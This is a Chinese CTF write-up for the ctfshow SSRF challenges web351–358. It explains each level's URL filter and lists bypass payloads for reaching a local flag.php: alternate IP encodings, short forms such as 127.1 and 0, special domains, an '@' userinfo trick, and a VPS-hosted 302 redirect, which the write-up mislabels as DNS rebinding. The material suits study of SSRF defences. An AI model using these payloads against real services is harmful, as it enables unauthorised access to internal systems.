ctfshow SSRF web351-358
web 351
接 POST 传参就行
web 352
参数是 url
$x['scheme']==='http'||$x['scheme']==='https'表示只允许用 http 和 https 协议
!preg_match('/localhost|127.0.0/')用正则匹配,表示不允许出现 localhost 和 127.0.0 的字眼
如何绕过 localhost 和 127.0.0.1 访问本地地址呢?可以用其他进制代替
本地 url=http://0.0.0.0/flag.php 十进制 url=http://2130706433/flag.php 八进制 url=http://0177.0.0.1/flag.php 十六进制 url=http://0x7f000001/flag.php 特殊域名 url=http://localtest.me/flag.phpweb 353
正则匹配表示禁用 localhost 和 127.0 ; i 表示禁用大小写
🪻🪻🪻一些绕过方式
- 可以用上道题转其他进制的方式
url=http://2130706433/flag.php
- 127.0.0.1~127.255.255.254 都表示 localhost
url=http://127.255.255.254/flag.php
- Linux 系统中 0 会被解析成 127.0.0.1(在 windows 系统中解析成 0.0.0.0)
url=http://0/flag.php
- 使用 sudo.cc
url=http://sudo.cc/flag.php
web 354
web 355
限制长度<=5,那么前面的那些就不能用了 1.
可以使用127.1来绕过。
web 356
限制长度<=3
url=http://0/flag.php
web 357
题目源代码:
filter_var是 PHP 内置的数据过滤 / 验证函数,语法:
filter_var(要验证的数据, 验证规则, 额外选项)这里它的作用是:验证$ip是否是一个合法 IP,并且是否符合额外限制
FILTER_VALIDATE_IP
验证规则:判断是否为合法的 IP 地址
FILTER_FLAG_NO_PRIV_RANGE
额外选项:拒绝私有网段 IP(如10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)
FILTER_FLAG_NO_RES_RANGE
额外选项:拒绝保留 / 回环等特殊网段 IP(如127.0.0.0/8、0.0.0.0/8、::1等)
这是严格的白名单防护,我们要使用DNS Rebinding 攻击
- 在自己的 vps 上新建一个 php 文件并写入以下内容
<?php header("Location: http://127.0.0.1/flag.php", true, 302);?>
- POST 传入参数
url=http://自己 vps 的 IP/demo.php
web 358
preg_match('/^http:\/\/ctf\..*show$/i',$url)
^匹配字符串开头http:\/\/匹配 http://ctf\.匹配 ctf..*匹配任意数量的任意字符show$匹配 show 且必须在字符串末尾
payload:url=http://ctf.@127.0.0.1/flag.php?show
@之前的部分会被解析为用户名
